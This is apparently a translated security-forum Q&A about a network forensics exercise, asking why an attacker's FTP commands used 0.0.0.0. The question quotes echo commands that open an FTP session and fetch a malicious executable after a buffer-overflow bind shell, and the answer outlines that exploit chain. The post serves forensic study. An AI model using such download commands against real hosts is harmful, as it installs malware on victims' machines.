¿Por qué este ataque usó 0.0.0.0 como dirección IP y por qué funcionó?

4

Trabajando a través de este ejercicio en el análisis forense de redes, el atacante usó una vulnerabilidad de desbordamiento de búfer para enviar comandos a la línea de comandos de la víctima. Los comandos abren una sesión FTP y descargan algunos programas maliciosos. Estoy confundido acerca de por qué funciona con la dirección ip 0.0.0.0 Los paquetes muestran que el atacante enlaza un shell en el host de la víctima y usa FTP para forzarlo a descargar un ejecutable.

Los comandos son:

echo open 0.0.0.0 8884
echo user 1 1
echo get ssms.exe

Mi pregunta es, ¿cómo llegarían a cualquier lugar utilizando la dirección IP 0.0.0.0? ¿Está el shell enlazado de alguna manera asociado con / "en" la red del atacante mientras se está ejecutando el exploit de modo que 0.0.0.0 se resuelva en localhost en la máquina del atacante?

Algunas de las respuestas utilizaron la presencia de esta dirección IP para demostrar que la víctima era un honeypot porque aceptó cualquier dirección IP que el atacante les dio y descargó el archivo exe. Aún así, ¿cómo llegaría 0.0.0.0 a cualquier parte? Además, ¿no sería esta una buena manera para que un atacante sepa que ha pirateado un honeypot?

Una respuesta (PDF) da una buena reseña del exploit pero no aborda específicamente esta pregunta. Otra respuesta (PDF) piensa el 0.0.0.0 podría ser un error, por lo que estoy confundido.

    
pregunta mcgyver5 25.08.2015 - 18:44
fuente

1 respuesta

5
  

En la versión 4 del protocolo de Internet, la dirección 0.0.0.0 es una   meta-dirección no enrutable utilizada para designar un inválido, desconocido o   objetivo no aplicable. Para dar un significado especial a un modo diferente.   El dato inválido es una aplicación de señalización en banda.

     

En el contexto de los servidores, 0.0.0.0 significa "todas las direcciones IPv4 en el   máquina local ". Si un host tiene dos direcciones IP, 192.168.1.1 y   10.1.2.1, y un servidor que se ejecuta en el host escucha 0.0.0.0, será accesible en ambas IPs.

     

En el contexto de enrutamiento, 0.0.0.0 usualmente significa la ruta predeterminada,   es decir, la ruta que conduce a "el resto de" internet en lugar de   En algún lugar de la red local.

Artículo de Wikipedia sobre 0.0.0.0

Si tuviera que adivinar, ya que no he hecho el desafío, pero me basé en el primer enlace, siempre que el exploit fuera algo como esto:

  1. Exploit CVE-2003-0533 - shellcode para enlazar el puerto TCP 1957 como un shell. (¿tal vez el atacante sabía que este puerto no estaba bloqueado por un firewall?)
  2. Comandos ejecutados desde el shell para configurar una conexión ftp inversa a sí mismo (en este caso). Exponer esto al host a través del puerto 8884. Dado que la computadora podría tener múltiples IP, 0.0.0.0 es una forma de decir "cualquiera que sea la interfaz en la que trabajó la conexión inversa aceptaría esta conexión. Una conexión inversa puede ayudar en omitir las reglas del firewall
  3. El servidor FTP se encuentra en el otro extremo de este túnel, los comandos que se ejecutaron iniciaron sesión en el ftp y descargaron el malware a la PC de la víctima para su ejecución posterior.
respondido por el Brett Salmiery 25.08.2015 - 19:18
fuente

Lea otras preguntas en las etiquetas